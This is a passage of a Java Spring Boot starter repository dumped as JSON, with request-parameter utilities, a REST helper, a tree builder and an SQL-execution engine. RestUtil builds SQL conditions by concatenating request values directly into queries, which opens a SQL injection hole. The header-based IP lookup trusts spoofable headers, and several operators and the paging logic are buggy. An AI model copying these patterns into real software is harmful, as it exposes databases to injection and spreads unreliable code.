}\n        Map<String, Object> result = new HashMap<>();\n        MultiValueMap<String, String> urlMvp = UriComponentsBuilder.fromHttpUrl(url.toString()).build().getQueryParams();\n        urlMvp.forEach((key, value) -> {\n            String firstValue = CollectionUtils.isEmpty(value) ? null : value.get(0);\n            result.put(key, convertNumber(firstValue));\n        });\n        return result;\n    }\n\n    /**\n     * 获取IP地址\n     */\n    public static String getIp(HttpServletRequest request) {\n        String ip = request.getHeader(\"x-forwarded-for\");\n        if (ip != null && ip.length() != 0 && !\"unknown\".equalsIgnoreCase(ip)) {\n            if (ip.indexOf(\",\") != -1) {\n                ip = ip.split(\",\")[0];\n            }\n        }\n        if (ip == null || ip.length() == 0 || \"unknown\".equalsIgnoreCase(ip)) {\n            ip = request.getHeader(\"Proxy-Client-IP\");\n        }\n        if (ip == null || ip.length() == 0 || \"unknown\".equalsIgnoreCase(ip)) {\n            ip = request.getHeader(\"WL-Proxy-Client-IP\");\n        }\n        if (ip == null || ip.length() == 0 || \"unknown\".equalsIgnoreCase(ip)) {\n            ip = request.getHeader(\"HTTP_CLIENT_IP\");\n        }\n        if (ip == null || ip.length() == 0 || \"unknown\".equalsIgnoreCase(ip)) {\n            ip = request.getHeader(\"HTTP_X_FORWARDED_FOR\");\n        }\n        if (ip == null || ip.length() == 0 || \"unknown\".equalsIgnoreCase(ip)) {\n            ip = request.getHeader(\"X-Real-IP\");\n        }\n        if (ip == null || ip.length() == 0 || \"unknown\".equalsIgnoreCase(ip)) {\n            ip = request.getRemoteAddr();\n        }\n        return ip == null ? \"\" : ip.trim();\n    }\n\n    /**\n     * 遍历JSON对象树，解析为扁平Map\n     */\n    public static void traverseJsonTree(JSONObject jsonObject, String parentKey, Map params) {\n        for (String key : jsonObject.keySet()) {\n            Object object = jsonObject.get(key);\n            if (object instanceof JSONObject) {\n                traverseJsonTree((JSONObject) object, parentKey + \".\" + key, params);\n            } else if (object instanceof JSONArray) {\n                traverseJsonArray((JSONArray) object, parentKey + \".\" + key, params);\n            } else {\n                String longKey = StrUtil.isEmpty(parentKey) ? key : parentKey + \".\" + key;\n                if (Pattern.compile(\".*[0-9].*\").matcher(longKey).matches()) {\n                    params.put(longKey, convertNumber(object));\n                } else {\n                    params.put(key, convertNumber(object));\n                }\n            }\n        }\n    }\n\n    /**\n     * 遍历JSON数组，解析为扁平Map\n     */\n    public static void traverseJsonArray(JSONArray jsonArray, String parentKey, Map params) {\n        for (int i = 0; i < jsonArray.size(); i++) {\n            Object object = jsonArray.get(i);\n            if (object instanceof JSONObject) {\n                traverseJsonTree((JSONObject) object, parentKey + \".\" + i, params);\n            } else if (object instanceof JSONArray) {\n                traverseJsonArray((JSONArray) object, parentKey + \".\" + i, params);\n            } else {\n                params.put(parentKey + \".\" + i, convertNumber(object));\n            }\n        }\n    }\n\n    /**\n     * 转换请求参数为Map（兼容老方法）\n     * @deprecated 建议使用 getParameterMap(HttpServletRequest) 方法\n     */\n    @Deprecated\n    public static Map<String, Object> convertDataMap(HttpServletRequest request) {\n        return getParameterMap(request);\n    }\n\n    /**\n     * 获取单个参数值\n     */\n    public static String getValue(HttpServletRequest request, String paramName) {\n        if (request == null) {\n            return \"\";\n        }\n        String obj = request.getParameter(paramName);\n        return obj == null ? \"\" : obj.trim();\n    }\n\n    /**\n     * 获取整数类型参数值\n     */\n    public static int getIntValue(HttpServletRequest request, String paramName) {\n        int returnVal = 0;\n        String obj = request.getParameter(paramName);\n        if (StrUtil.isNotBlank(obj) && isInteger(obj)) {\n            returnVal = Integer.parseInt(obj);\n        }\n        return returnVal;\n    }\n\n    /**\n     * 判断是否为整数\n     */\n    public static boolean isInteger(String str) {\n        Pattern pattern = Pattern.compile(\"^[-\\\\+]?[\\\\d]*$\");\n        return pattern.matcher(str).matches();\n    }\n\n    /**\n     * 获取多值参数\n     */\n    public static String[] getValues(HttpServletRequest request, String paramName) {\n        String[] value = request.getParameterValues(paramName);\n        return value == null ? new String[]{} : value;\n    }\n\n    /**\n     * 获取多值参数拼接字符串\n     */\n    public static String getValuesString(HttpServletRequest request, String paramName) {\n        return getValuesString(request, paramName, \",\");\n    }\n\n    /**\n     * 获取多值参数拼接字符串（自定义分隔符）\n     */\n    public static String getValuesString(HttpServletRequest request, String paramName, String delims) {\n        StringBuilder temp = new StringBuilder();\n        String[] values = request.getParameterValues(paramName);\n        if (values != null) {\n            for (int i = 0; i < values.length; i++) {\n                if (i > 0) {\n                    temp.append(delims);\n                }\n                temp.append(values[i].trim());\n            }\n        }\n        return temp.toString();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/rest/util/RestUtil.java",
    "content": "package io.github.wujun728.rest.util;\n\nimport cn.hutool.core.collection.CollectionUtil;\nimport cn.hutool.core.date.DateTime;\nimport cn.hutool.core.date.DateUtil;\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.*;\nimport cn.hutool.db.meta.Column;\nimport cn.hutool.db.meta.MetaUtil;\nimport cn.hutool.db.meta.Table;\nimport cn.hutool.log.StaticLog;\nimport com.google.common.collect.Lists;\nimport io.github.wujun728.common.exception.BusinessException;\nimport io.github.wujun728.common.utils.IdGenerator15;\nimport io.github.wujun728.db.record.Record;\n//import io.github.wujun728.db.record.interfaces.IRecordHandler;\nimport cn.hutool.core.util.StrUtil;\nimport org.springframework.beans.BeanWrapper;\nimport org.springframework.beans.BeanWrapperImpl;\nimport org.springframework.util.CollectionUtils;\nimport javax.sql.DataSource;\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\npublic class RestUtil {\n\n\n    public static void buildRecord(Map<String, Object> parameters, Table table, Record record) {\n        Collection<Column> columns = table.getColumns();\n        for (Column column : columns) {\n            String paramValue = RestUtil.getParamValue(parameters, column.getName());\n            paramValue = RestUtil.getId(paramValue);\n            checkDataFormat(column, paramValue);\n            if (ObjectUtil.isNotEmpty(paramValue)) {//非空值，直接设置\n                record.set(column.getName(), (paramValue));\n            } else {\n                String fieldName = StrUtil.toCamelCase(column.getName());\n                if (ObjectUtil.isNotEmpty(RestUtil.getDefaultValue(fieldName))) {//设置默认值的字段\n                    record.set(column.getName(), RestUtil.getDefaultValue(fieldName));\n                } else {\n                    if(column.isPk()){\n                        if(column.isAutoIncrement()){\n                            //自增的主键，不自动赋值\n                        }else{\n                            setPkValue(record, column);\n                            StaticLog.warn(\"参数未传值： \" + column.getName());\n                        }\n                    }else{\n                        if (!column.isNullable()){ //非空字段，保存的时候，必填直接返回提示\n                            throw new BusinessException(\"参数[\" + column.getName() + \"]不能为空！\");\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n    public static void checkDataFormat(Column column, String val) {\n        if (\"DATE\".equalsIgnoreCase(column.getTypeName()) ||\n                \"datetime\".equalsIgnoreCase(column.getTypeName()) ||\n                \"DATE\".equalsIgnoreCase(column.getTypeName())) {\n            try {\n                DateTime date = DateUtil.parse(val);\n                //log.info(\"是日期类型字符串：[{}]\", val);\n            } catch (Exception e) {\n                //log.info(\"不是日期类型字符串：[{}]\", val);\n                throw new BusinessException(\"参数[\"+ column.getName()+\"]日期格式字符串不合法\");\n            }\n        }\n    }\n\n\n    public static void setPkValue(Record record, Column column) {\n        if (\"VARCHAR\".equalsIgnoreCase(column.getTypeName()) ||\n                \"TEXT\".equalsIgnoreCase(column.getTypeName()) ||\n                \"LONGTEXT\".equalsIgnoreCase(column.getTypeName()) ||\n                \"CLOB\".equalsIgnoreCase(column.getTypeName())) {\n            String idStr = IdGenerator15.generateIdStr();\n            if (column.getSize() > idStr.length()) {\n                record.set(column.getName(), idStr);\n            } else {\n                int start = idStr.length() - Integer.valueOf((int) column.getSize());\n                record.set(column.getName(), idStr.substring(start, idStr.length()));\n            }\n        } else if (\"DATE\".equalsIgnoreCase(column.getTypeName()) ||\n                \"datetime\".equalsIgnoreCase(column.getTypeName()) ||\n                \"DATE\".equalsIgnoreCase(column.getTypeName())) {\n            record.set(column.getName(), DateUtil.now());\n        } else if (\"bigint\".equalsIgnoreCase(column.getTypeName()) ||\n                \"int\".equalsIgnoreCase(column.getTypeName()) ||\n                \"float\".equalsIgnoreCase(column.getTypeName()) ||\n                \"decimal\".equalsIgnoreCase(column.getTypeName()) ||\n                \"bit\".equalsIgnoreCase(column.getTypeName()) ||\n                \"integer\".equalsIgnoreCase(column.getTypeName()) ||\n                \"tinyint\".equalsIgnoreCase(column.getTypeName())) {\n\n            long idStr = IdGenerator15.generateId();\n            long currentSeconds = DateUtil.currentSeconds();\n            if (column.getSize() >= String.valueOf(idStr).length()) {//十六位，雪花ID，毫秒级别\n                record.set(column.getName(), idStr);\n            } else if (column.getSize() >= String.valueOf(currentSeconds).length()) { //十位，时间戳，秒级别\n                record.set(column.getName(), currentSeconds);\n            } else {\n                int size = Integer.valueOf((int) column.getSize());\n                String numberkey = RandomUtil.randomNumbers(size);  //随机数，字段长度的随机数字，字段不能设置太短\n                record.set(column.getName(), numberkey);\n            }\n        }\n    }\n\n\n    public static String getTablePrimaryKes(Table table) {\n        Set<String> pks = table.getPkNames();\n        if(CollectionUtils.isEmpty(pks)){\n            throw new BusinessException(\"表\"+table.getTableName()+\"必须含有主键，无主键无法使用通用删除接口，请使用自定义SQL删除数据；\");\n        }\n        String primaryKey = StrUtil.join(\",\",pks);\n        return primaryKey;\n    }\n\n    public static void fillRecord(Record record, String tableName, Boolean isSave) {\n        /*List<Class> allSuperclasses = ClassUtil.getAllClassByInterface(IRecordHandler.class);\n        for (Class clazz : allSuperclasses) {\n            try {\n                Object obj = clazz.newInstance();\n                String tablename = ReflectUtil.invoke(obj,\"tableName\");\n                if(tablename.equalsIgnoreCase(tablename) || tablename.equalsIgnoreCase(\"all\")){\n                    if(isSave){\n                        ReflectUtil.invoke(obj,\"insertFill\",new Object[]{record});\n                    }else{\n                        ReflectUtil.invoke(obj,\"updateFill\",new Object[]{record});\n                    }\n                }\n            } catch (Exception e) {\n                e.printStackTrace();\n            }\n        }*/\n    }\n\n    public static Record getTableRecord(DataSource ds, String tableName, Map params){\n        Record record = new Record();\n        Table table = MetaUtil.getTableMeta(ds,tableName);\n        table.getColumns().forEach(c->{\n            record.set(c.getName(), MapUtil.getStr(params,c.getName()));\n        });\n        return record;\n    }\n\n    public static String getPkNames(DataSource ds, String tableName){\n        Table table = MetaUtil.getTableMeta(ds,tableName);\n        return String.join(\",\",table.getPkNames());\n    }\n\n\n    public static Object getDefaultValue(String fieldname){\n        if(\"createTime\".equals(fieldname)){\n            return DateUtil.now();\n        }\n        if(\"updateTime\".equals(fieldname)){\n            return DateUtil.now();\n        }\n        if(\"creator\".equals(fieldname)){\n            return \"admin\";\n        }\n        if(\"createUser\".equals(fieldname)){\n            return \"admin\";\n        }\n        if(\"updateUser\".equals(fieldname)){\n            return \"admin\";\n        }\n        return null;\n    }\n\n    public static String getId(String val) {\n        //printMsg(val);\n        if(\"{_objectId}\".equalsIgnoreCase(val)){\n            return IdUtil.objectId();\n        }\n        else if(\"{_simpleUUID}\".equalsIgnoreCase(val)){\n            return IdUtil.simpleUUID();\n        }\n        else if(\"{_snowflakeId}\".equalsIgnoreCase(val)){\n            return IdUtil.getSnowflakeNextIdStr();\n        }\n        else if(\"{_nanoId}\".equalsIgnoreCase(val)){\n            return IdUtil.nanoId();\n        }else\n        if(\"{_id2}\".equalsIgnoreCase(val)){\n            return IdUtil.objectId();\n        }\n        else if(\"{_id3}\".equalsIgnoreCase(val)){\n            return IdUtil.simpleUUID();\n        }\n        else if(\"{_id1}\".equalsIgnoreCase(val)){\n            return IdUtil.getSnowflakeNextIdStr();\n        }\n        else if(\"{_id4}\".equalsIgnoreCase(val)){\n            return IdUtil.nanoId();\n        }else\n        {\n            return val;\n        }\n    }\n    public static String getParamValue(Map<String, Object> parameters, String paramName) {\n        String val = MapUtil.getStr(parameters,paramName);\n        if(ObjectUtil.isEmpty(val)){\n            String fieldName = RestUtil.columnNameToFieldName(paramName);\n            val = MapUtil.getStr(parameters,fieldName);\n        }\n        return val;\n    }\n\n    public static List getPrimaryKeyArgs(Map<String, Object> parameters, Table table) {\n        Set<String> pks = table.getPkNames();\n        List args = Lists.newArrayList();\n        for(int i = 0; i < pks.size(); i++ ){\n            String key = CollectionUtil.get(pks,i);\n            String val1 = MapUtil.getStr(parameters,key);\n            args.add(val1);\n            if(StrUtil.isEmpty(val1)){\n                throw new BusinessException(\"主键\"+key+\"必须含有入参，非空；(有多列，均使用英文逗号分隔)\");\n            }\n        }\n        return args;\n    }\n\n    public static Boolean isExistsParamname(Map<String, Object> parameters, String paramName) {\n        String fieldName = RestUtil.columnNameToFieldName(paramName);\n        for(String key :  parameters.keySet()){\n            if(key.contains(paramName) || key.contains(fieldName)){\n                return true;\n            }\n        }\n        return false;\n    }\n\n    public static String getQueryCondition(Map<String, Object> parameters, Table table) {\n        StringBuffer sqlbuilder = new StringBuffer();\n        Collection<Column> columns = table.getColumns();\n        for(String key : parameters.keySet()){\n            if(key.startsWith(\"header.\") || key.startsWith(\"session.\") || key.startsWith(\"cookies.\")|| key.startsWith(\"root.\")){\n                continue;\n            }\n            for (Column column : columns) {\n                String fieldName = RestUtil.columnNameToFieldName(column.getName());\n                // fielc.like=abc    field=abc    content-type=abc\n                if(key.startsWith(column.getName()) || key.startsWith(fieldName) || key.contains(fieldName) || key.contains(column.getName())){\n                    if(key.contains(\".\")){\n                        String keys[] = key.split(\"\\\\.\");\n                        String field = keys[0];\n                        String ex = keys[1];\n                        String val = RestUtil.getParamValue(parameters, key);\n                        sqlbuilder.append(\" AND\" + join(ex,column.getName(),val));\n                    }else{\n                        if(key.equalsIgnoreCase(fieldName) || key.equalsIgnoreCase(column.getName())){\n                            String val = RestUtil.getParamValue(parameters, key);\n                            sqlbuilder.append(\" AND\" + join(\"eq\",column.getName(),val));\n                        }\n                    }\n                }\n            }\n        }\n        return sqlbuilder.toString();\n    }\n\n    private static String join(String ex,String columnName,String value){\n        StringBuffer sql = new StringBuffer();\n        sql.append(\" \");\n        // 设置查询方式\n        if (\"eq\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" = '\"+value+\"'\");\n        }else if (\"like\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" like '%\"+value+\"%'\");\n        }else if (\"between\".equalsIgnoreCase(ex)){\n//            sql.append((fieldName, ((Object[]) value)[0], ((Object[]) value)[1]);\n        }else if (\"le\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" <= \"+ value);\n        }else if (\"lt\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" < \"+ value);\n        }else if (\"ge\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" >= \"+ value);\n        }else if (\"gt\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" >= \"+ value);\n        }else if (\"notEq\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" not like '%\"+ value+\"%'\");\n        }else if (\"leftLike\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" like '%\"+ value+\"'\");\n        }else if (\"rightLike\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" like '\"+ value+\"%'\");\n        }else if (\"allLike\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" like '%\"+ value+\"%'\");\n        }else if (\"notLeftLike\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" not like '%\"+ value+\"%'\");\n        }else if (\"notRightLike\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" not like '\"+ value+\"%'\");\n        }else if (\"notAllLike\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" not like '%\"+ value+\"%'\");\n        }else if (\"isNull\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" is null \");\n        }else if (\"notNull\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" is not null \");\n        }else if (\"in\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" in ()\"+ String.join(\",\",value.split(\",\"))+\" )\");\n        }else if (\"notIn\".equalsIgnoreCase(ex)) {\n            sql.append(columnName+\" not in ( \"+ String.join(\",\",value.split(\",\"))+\" )\");\n        }else {\n            sql.append(columnName + \" = \" + value);\n        }\n        return sql.toString();\n    }\n\n    public static String columnNameToFieldName(String name){\n        return underlineToCamel(name);\n    }\n\n    /**\n     * 获取对象中值为null的属性名（从 JUNUtil 迁移）\n     */\n    public static String[] getNullPropertyNames(Object source) {\n        final BeanWrapper src = new BeanWrapperImpl(source);\n        java.beans.PropertyDescriptor[] pds = src.getPropertyDescriptors();\n        Set<String> emptyNames = new HashSet<>();\n        for (java.beans.PropertyDescriptor pd : pds) {\n            Object srcValue = src.getPropertyValue(pd.getName());\n            if (srcValue == null) {\n                emptyNames.add(pd.getName());\n            }\n        }\n        String[] result = new String[emptyNames.size()];\n        return emptyNames.toArray(result);\n    }\n\n    public static String underlineToCamel(String name){\n        boolean allUpper = true;\n        boolean allLower = true;\n        for (int i = 0; i < name.length(); i++) {\n            char c = name.charAt(i);\n            if(Character.isLowerCase(c)){\n                allUpper = false;\n            }else if (Character.isUpperCase(c)){\n                allLower = false;\n            }\n        }\n\n        if (allUpper){\n            name = name.toLowerCase();\n            allLower = true;\n        }\n        if (!allLower){\n            return name;\n        }\n\n        StringBuilder sb = new StringBuilder(name.length());\n        for (int i = 0; i < name.length(); i++) {\n            char c = name.charAt(i);\n            if ('_' == c) {\n                if (++i < name.length()){\n                    sb.append(Character.toUpperCase(name.charAt(i)));\n                }\n            }else {\n                sb.append(c);\n            }\n        }\n        return sb.toString();\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/rest/util/TreeBuildUtil.java",
    "content": "package io.github.wujun728.rest.util;\n\nimport cn.hutool.core.bean.BeanUtil;\nimport cn.hutool.core.util.StrUtil;\n//import org.springframework.util.StopWatch;\n\nimport java.util.*;\n\npublic class TreeBuildUtil {\n\n    /**\n     * 对象List转为Tree树形结构\n     *\n     * @param entityList       传进来的泛型List\n     * @param rootValue 根节点值,0或者-1或者自定义的值\n     * @param idField id,主键名称\n     * @param parentIdField  parentId,父级字段名称\n     * @return tree list\n     */\n    public static List<Map<String, Object>> buildTree(List<Map<String, Object>> entityList, String rootValue, String idField, String parentIdField) {\n        return listToTree(entityList, rootValue, idField, parentIdField);\n    }\n    public static List<Map<String, Object>> listToTree(List<Map<String, Object>> entityList, String rootValue, String idField, String parentIdField) {\n        return listToTree(entityList, rootValue, idField, parentIdField,\"children\");\n    }\n    public static List<Map<String, Object>> listToTree(List<Map<String, Object>> entityList, String rootValue, String idField, String parentIdField, String childrenField) {\n//        StopWatch stopWatch = new StopWatch();\n//        stopWatch.start();\n        List<Map<String, Object>> treeMap = new ArrayList<>();\n        List<Map> listMap = BeanUtil.copyToList(entityList,Map.class);\n        Map<String, Map<String, Object>> entityMap = new Hashtable<>();\n        listMap.forEach(map -> entityMap.put(map.get(idField).toString(), map));\n        listMap.forEach(map -> {\n            Object pid = map.get(parentIdField);\n            if (pid == null || StrUtil.equals(pid.toString(), rootValue)) {\n                treeMap.add(map);\n            } else {\n                Map<String, Object> parentMap = entityMap.get(pid.toString());\n                if (parentMap == null) { //如果parentMap为空，则说明当前map没有父级，当前map就是顶级\n                    treeMap.add(map);\n                } else {\n                    List<Map<String, Object>> children = (List<Map<String, Object>>) parentMap.get(childrenField);\n                    if (children == null) {  //判断子级集合是否为空，为空则新创建List\n                        children = new ArrayList<>();\n                        parentMap.put(childrenField, children);\n                    }\n                    children.add(map);\n                }\n            }\n        });\n//        stopWatch.stop();\n//        stopWatch.getTotalTimeMillis();\n//        StaticLog.info(\"listToTree 耗时， \" + stopWatch.getTotalTimeMillis());\n        return treeMap;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/sql/ApiEngine.java",
    "content": "package io.github.wujun728.sql;\n\nimport cn.hutool.json.JSONObject;\nimport cn.hutool.json.JSONUtil;\nimport com.alibaba.druid.pool.DruidPooledConnection;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.sql.engine.DynamicSqlEngine;\nimport io.github.wujun728.sql.entity.ApiDataSource;\nimport io.github.wujun728.sql.entity.ApiSql;\nimport io.github.wujun728.sql.entity.DBConfig;\nimport io.github.wujun728.sql.entity.SqlWithParam;\nimport io.github.wujun728.sql.utils.JdbcUtil;\nimport io.github.wujun728.sql.utils.PoolManager;\nimport io.github.wujun728.sql.utils.XmlParser;\nimport org.apache.commons.io.Charsets;\nimport org.apache.commons.io.IOUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.core.io.Resource;\nimport org.springframework.core.io.support.PathMatchingResourcePatternResolver;\n\nimport java.io.InputStream;\nimport java.nio.charset.StandardCharsets;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\n\npublic class ApiEngine {\n\n    private static Logger logger = LoggerFactory.getLogger(ApiEngine.class);\n\n    DynamicSqlEngine dynamicSqlEngine = new DynamicSqlEngine();\n\n    DBConfig dbConfig;\n\n    Map<String, Map<String, ApiSql>> sqlMap = new HashMap<>();\n    Map<String, ApiDataSource> dataSourceMap;\n\n    public ApiEngine(DBConfig dbConfig) {\n        this.dbConfig = dbConfig;\n        initXml();\n    }\n\n    public void initXml() {\n        try {\n            PathMatchingResourcePatternResolver resolver = new PathMatchingResourcePatternResolver();\n            Resource[] resources = resolver.getResources(this.dbConfig.getSql());\n\n            for (Resource res : resources) {\n                String filename = res.getFilename();\n                if(filename.equals(\"ds.xml\")){\n                    continue;\n                }\n                InputStream inputStream = res.getInputStream();\n                String content = IOUtils.toString(inputStream, Charsets.toCharset(StandardCharsets.UTF_8));\n                Map<String, ApiSql> stringSqlMap = XmlParser.parseSql(content);\n                this.sqlMap.put(filename.split(\"\\\\.\")[0], stringSqlMap);\n                logger.info(\"APISQL register sql xml: {}\", filename);\n            }\n            Resource dsResource = resolver.getResource(this.dbConfig.getDatasource());\n            String filename = dsResource.getFilename();\n            InputStream inputStream = dsResource.getInputStream();\n            String content = IOUtils.toString(inputStream, Charsets.toCharset(StandardCharsets.UTF_8));\n            this.dataSourceMap = XmlParser.parseDatasource(content);\n            logger.info(\"APISQL register datasource xml: {}\", filename);\n        } catch (Exception e) {\n            //logger.error(e.getMessage(), e);\n            logger.warn(e.getMessage());\n        }\n    }\n\n//    public void initApiSql(DataSource dataSource) {\n//        try {\n//            Connection connection = dataSource.getConnection();\n//            String sql_api = \" select * from api_sql \";\n//            List<Map<String, Object>>  apiSqls = SqlXmlUtil.query(connection,sql_api);\n//\n//            for(Map map : apiSqls){\n//                BeanUtil.copyToList(FieldUtils)\n//                MapUtil.toCamelCaseMap(map);\n//            }\n//\n//            for (Resource res : resources) {\n//                String filename = res.getFilename();\n//                InputStream inputStream = res.getInputStream();\n//                String content = IOUtils.toString(inputStream, Charsets.toCharset(StandardCharsets.UTF_8));\n//                Map<String, SqlNode> stringSqlMap = XmlParser.parseSql(content);\n//                this.sqlMap.put(filename.split(\"\\\\.\")[0], stringSqlMap);\n//                logger.info(\"APISQL register sql xml: {}\", filename);\n//            }\n//            Resource dsResource = resolver.getResource(this.dbConfig.getDatasource());\n//\n//            String sql_datasource = \" select * from api_datasource \";\n//            List<Map<String, Object>>  apiDS = SqlXmlUtil.query(connection,sql_datasource);\n//\n//\n//            String filename = dsResource.getFilename();\n//            InputStream inputStream = dsResource.getInputStream();\n//            String content = IOUtils.toString(inputStream, Charsets.toCharset(StandardCharsets.UTF_8));\n//            this.dataSourceMap = XmlParser.parseDatasource(content);\n//            logger.info(\"APISQL register datasource xml: {}\", filename);\n//        } catch (Exception e) {\n//            logger.error(e.getMessage(), e);\n//        }\n//    }\n\n\n    public Page<JSONObject> executeQueryPage(String namespace, String sqlId, Map<String, Object> data, int pageNumber, int limit) {\n        Page pageVo = new Page();\n        ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n        if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n            throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n        }\n        data.put(\"start\",(pageNumber-1)*(limit));\n        data.put(\"end\",pageNumber*limit);\n        ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n        String pageSql = sql.getText()+ \" LIMIT #{start}, #{end} \";\n        SqlMeta sqlMeta = dynamicSqlEngine.parse(pageSql, data);\n        List<JSONObject> results = ApiEngine.executeQuery(dataSource, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());//executeQuery(namespace, sqlId, data);\n\n        String totalSql = \"  select count(1) as count FROM ( \"+sql.getText()+\" ) AS subquery \";\n        SqlMeta sqlMeta2 = dynamicSqlEngine.parse(totalSql, data);\n\n        Long totalpage = ApiEngine.executeQueryInt(dataSource, sqlMeta2.getSql(), sqlMeta2.getJdbcParamValues());\n        pageVo.setList(results);\n        pageVo.setTotalRow(Math.toIntExact(totalpage));\n        pageVo.setPageNumber(pageNumber);\n        pageVo.setPageSize(limit);\n        pageVo.setTotalPage(Math.toIntExact(totalpage) / limit);\n        return pageVo;\n    }\n    /**\n     * execute select sql with parameters, return a list of java bean entity\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @param data      sql parameters\n     * @param clazz     class of java bean entity\n     * @return\n     */\n    public <T> List<T> executeQueryEntity(String namespace, String sqlId, Map<String, Object> data, Class<T> clazz) {\n        List<JSONObject> list = executeQuery(namespace, sqlId, data);\n\n        List<T> collect = list.stream().map(t -> t.toBean(clazz)).collect(Collectors.toList());\n        return collect;\n    }\n\n    /**\n     * execute select sql with parameters, return a list of JSONObject\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @param data      sql parameters\n     * @return\n     */\n    public List<JSONObject> executeQuery(String namespace, String sqlId, Map<String, Object> data) {\n        try {\n            if (!sqlMap.containsKey(namespace)) {\n                throw new RuntimeException(\"namespace not found : \" + namespace);\n            } else {\n                if (!sqlMap.get(namespace).containsKey(sqlId)) {\n                    throw new RuntimeException(\"sqlId not found : \" + sqlId);\n                } else {\n                    ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n                    if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n                        throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n                    }\n                    ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n                    SqlMeta sqlMeta = dynamicSqlEngine.parse(sql.getText(), data);\n\n                    return ApiEngine.executeQuery(dataSource, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n                }\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n    public JSONObject executeQueryOne(String namespace, String sqlId, Map<String, Object> data) {\n        try {\n            if (!sqlMap.containsKey(namespace)) {\n                throw new RuntimeException(\"namespace not found : \" + namespace);\n            } else {\n                if (!sqlMap.get(namespace).containsKey(sqlId)) {\n                    throw new RuntimeException(\"sqlId not found : \" + sqlId);\n                } else {\n                    ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n                    if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n                        throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n                    }\n                    ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n                    SqlMeta sqlMeta = dynamicSqlEngine.parse(sql.getText(), data);\n                    return ApiEngine.executeQueryById(dataSource, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n                }\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n    public int executeQueryCount(String namespace, String sqlId, Map<String, Object> data) {\n        try {\n            if (!sqlMap.containsKey(namespace)) {\n                throw new RuntimeException(\"namespace not found : \" + namespace);\n            } else {\n                if (!sqlMap.get(namespace).containsKey(sqlId)) {\n                    throw new RuntimeException(\"sqlId not found : \" + sqlId);\n                } else {\n                    ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n                    if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n                        throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n                    }\n                    ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n                    SqlMeta sqlMeta = dynamicSqlEngine.parse(sql.getText(), data);\n                    Object obj =  ApiEngine.executeQueryOneColumn(dataSource, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n                    if(obj instanceof Integer){\n                        return (int) obj;\n                    }else {\n                        return (Integer) obj;\n                    }\n                }\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n\n    /**\n     * execute select sql without parameters, return a list of JSONObject\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @return\n     */\n    public List<JSONObject> executeQuery(String namespace, String sqlId) {\n        return executeQuery(namespace, sqlId, null);\n    }\n\n    /**\n     * execute select sql without parameters, return a list of java bean entity\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @param clazz     class of java bean entity\n     * @return\n     */\n    public <T> List<T> executeQueryEntity(String namespace, String sqlId, Class<T> clazz) {\n        return executeQueryEntity(namespace, sqlId, null, clazz);\n    }\n\n    /**\n     * execute insert/delete/update sql with parameters\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @param data      sql parameters\n     * @return\n     */\n    public int executeUpdate(String namespace, String sqlId, Map<String, Object> data) {\n        try {\n            if (!sqlMap.containsKey(namespace)) {\n                throw new RuntimeException(\"namespace not found : \" + namespace);\n            } else {\n                if 